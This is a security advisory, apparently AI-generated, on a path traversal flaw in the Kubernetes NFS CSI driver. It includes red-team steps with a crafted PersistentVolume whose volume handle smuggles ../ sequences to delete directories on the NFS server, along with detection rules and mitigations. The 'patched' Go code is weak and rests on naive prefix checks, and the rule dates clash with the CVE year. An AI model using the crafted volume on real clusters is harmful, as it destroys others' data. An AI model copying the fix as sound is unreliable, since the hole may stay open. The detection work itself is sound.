CVE-2026-3864

Executive Summary

CVE-2026-3864 is a path traversal vulnerability in the Kubernetes CSI Driver for NFS. An attacker with the ability to create PersistentVolumes (PVs) referencing the NFS CSI driver can craft volume identifiers containing path traversal sequences (e.g., ../). During volume deletion or cleanup operations, the driver may operate on unintended directories outside the intended managed path within the NFS export. This could lead to unauthorized deletion or modification of directories on the NFS server. The vulnerability has a CVSS score of 6.5 (Medium), with a low attack complexity and no user interaction required, but it requires low privileges (ability to create PVs). No public exploit or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or mitigations are required.
• Privileges Required: Low (PR:L) – The attacker must have the ability to create PersistentVolumes in the Kubernetes cluster.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: High (I:H) – Unauthorized deletion or modification of directories on the NFS server.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the impact on integrity is high, the attack requires specific privileges (ability to create PVs) and no public exploit is known. However, in environments where untrusted users can create PVs, this poses a significant risk to NFS data integrity.

Deep Dive & Mechanics

The vulnerability resides in the Kubernetes CSI Driver for NFS, specifically in the handling of the subDir parameter within volume identifiers. When a PersistentVolume is created using the NFS CSI driver, the driver parses the volume identifier to determine the subdirectory within the NFS export to mount. The subDir parameter is intended to specify a relative path within the export.

The flaw is that the driver does not properly sanitize or validate the subDir parameter for path traversal sequences (e.g., ../). An attacker can craft a volume identifier such as:

nfs-server.example.com/export/path/../../sensitive-directory

During normal operation, the driver may mount this path, but the critical issue occurs during volume deletion or cleanup operations. When the driver attempts to clean up the volume (e.g., remove the subdirectory), it uses the unsanitized subDir value to construct the target path. This can cause the driver to operate on directories outside the intended managed path within the NFS export, leading to unintended deletion or modification of directories.

The attack flow:

1. Attacker creates a PersistentVolume with a crafted volume identifier containing ../ sequences.
2. The NFS CSI driver processes the volume identifier and mounts the path (potentially outside the intended export).
3. During volume deletion (e.g., when the PV is deleted), the driver attempts to clean up the subdirectory by removing the path constructed from the unsanitized subDir.
4. The driver ends up deleting or modifying directories on the NFS server that were not intended to be managed.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No validation of subDir
func (d *nfsDriver) DeleteVolume(ctx context.Context, req *csi.DeleteVolumeRequest) (*csi.DeleteVolumeResponse, error) {
    volumeID := req.GetVolumeId()
    // Assume volumeID contains "nfs-server:/export/path/../../target"
    parts := strings.SplitN(volumeID, ":", 2)
    exportPath := parts[0]
    subDir := parts[1] // e.g., "/export/path/../../target"
    
    // Directly uses subDir without sanitization
    targetPath := filepath.Join(exportPath, subDir)
    os.RemoveAll(targetPath) // Could delete /target on NFS server
    ...
}

Patched Code (Conceptual):

// Patched: Validate and sanitize subDir
func (d *nfsDriver) DeleteVolume(ctx context.Context, req *csi.DeleteVolumeRequest) (*csi.DeleteVolumeResponse, error) {
    volumeID := req.GetVolumeId()
    parts := strings.SplitN(volumeID, ":", 2)
    exportPath := parts[0]
    subDir := parts[1]
    
    // Sanitize: Remove path traversal sequences
    cleanSubDir := filepath.Clean(subDir)
    if strings.HasPrefix(cleanSubDir, "..") {
        return nil, status.Errorf(codes.InvalidArgument, "subDir must not contain path traversal")
    }
    
    // Ensure subDir is within the export
    targetPath := filepath.Join(exportPath, cleanSubDir)
    if !strings.HasPrefix(targetPath, exportPath) {
        return nil, status.Errorf(codes.InvalidArgument, "subDir must be within export path")
    }
    
    os.RemoveAll(targetPath)
    ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a Kubernetes cluster with the NFS CSI driver installed.
• Ability to create PersistentVolume objects (e.g., via kubectl or API).

Steps:

1. Create a PersistentVolume with a crafted volume identifier:

apiVersion: v1
kind: PersistentVolume
metadata:
  name: malicious-nfs-pv
spec:
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteMany
  persistentVolumeReclaimPolicy: Delete
  csi:
    driver: nfs.csi.k8s.io
    volumeHandle: "nfs-server.example.com:/export/path/../../sensitive-directory"
    volumeAttributes:
      server: nfs-server.example.com
      share: /export
      subDir: path/../../sensitive-directory

2. Apply the PV:

kubectl apply -f malicious-nfs-pv.yaml

3. Delete the PV to trigger the cleanup operation:

kubectl delete pv malicious-nfs-pv

4. Observe that the driver attempts to delete /sensitive-directory on the NFS server instead of the intended subdirectory.

Blue Team (Defense & Detection)

Detection:

• Monitor for PersistentVolume creation with unusual volumeHandle or subDir values containing ../ or other path traversal patterns.
• Audit NFS server logs for unexpected deletion or modification operations on directories outside the expected export paths.
• Use Kubernetes audit logs to track PV creation and deletion events.

Mitigation:

• Restrict who can create PersistentVolumes using RBAC. Only allow trusted administrators.
• Implement admission controllers (e.g., OPA/Gatekeeper) to validate PV specifications and reject those with path traversal sequences.
• Apply network policies to limit access to the NFS server from the Kubernetes cluster.

Indicators of Compromise (IOCs)

• Network: NFS traffic to unexpected paths (e.g., nfs-server.example.com:/sensitive-directory).
• File System: Unexpected deletion or modification of directories on the NFS server.
• Kubernetes Audit Logs: Creation of PersistentVolumes with volumeHandle containing ../ sequences.
• CSI Driver Logs: Error messages indicating path traversal attempts or operations on paths outside the export.

Detection Engineering

YARA Rule

rule CVE_2026_3864_NFS_CSI_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Kubernetes NFS CSI volume identifiers"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-3864"
    strings:
        $traversal = /\.\.\//
        $nfs_handle = /nfs.*csi.*volumeHandle/
    condition:
        $traversal and $nfs_handle
}

Sigma Rule

title: CVE-2026-3864 - NFS CSI Path Traversal in PersistentVolume
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of PersistentVolumes with path traversal sequences in the NFS CSI volume handle
author: Valters IT
date: 2025-04-10
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: create
        objectRef.resource: persistentvolumes
        requestObject.spec.csi.volumeHandle|contains: ".."
    condition: selection
falsepositives:
    - Legitimate use of nested directories (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 2049 (msg:"CVE-2026-3864 - NFS CSI Path Traversal Attempt"; content:"|2e 2e 2f|"; depth:100; flow:to_server; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict PV Creation: Use Kubernetes RBAC to limit who can create PersistentVolumes. Only allow trusted administrators.
2. Admission Control: Deploy an admission controller (e.g., OPA/Gatekeeper) to reject PVs with path traversal sequences in the volumeHandle or subDir fields.
3. Monitor NFS Server: Enable auditing on the NFS server to detect unexpected directory deletions or modifications.

Long-Term Fix:

• Apply the official patch from the Kubernetes CSI Driver for NFS repository once available.
• Upgrade to a patched version of the driver.

Workaround:

• If patching is not possible, manually validate all PV specifications before creation. Use a script or admission webhook to check for ../ patterns.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.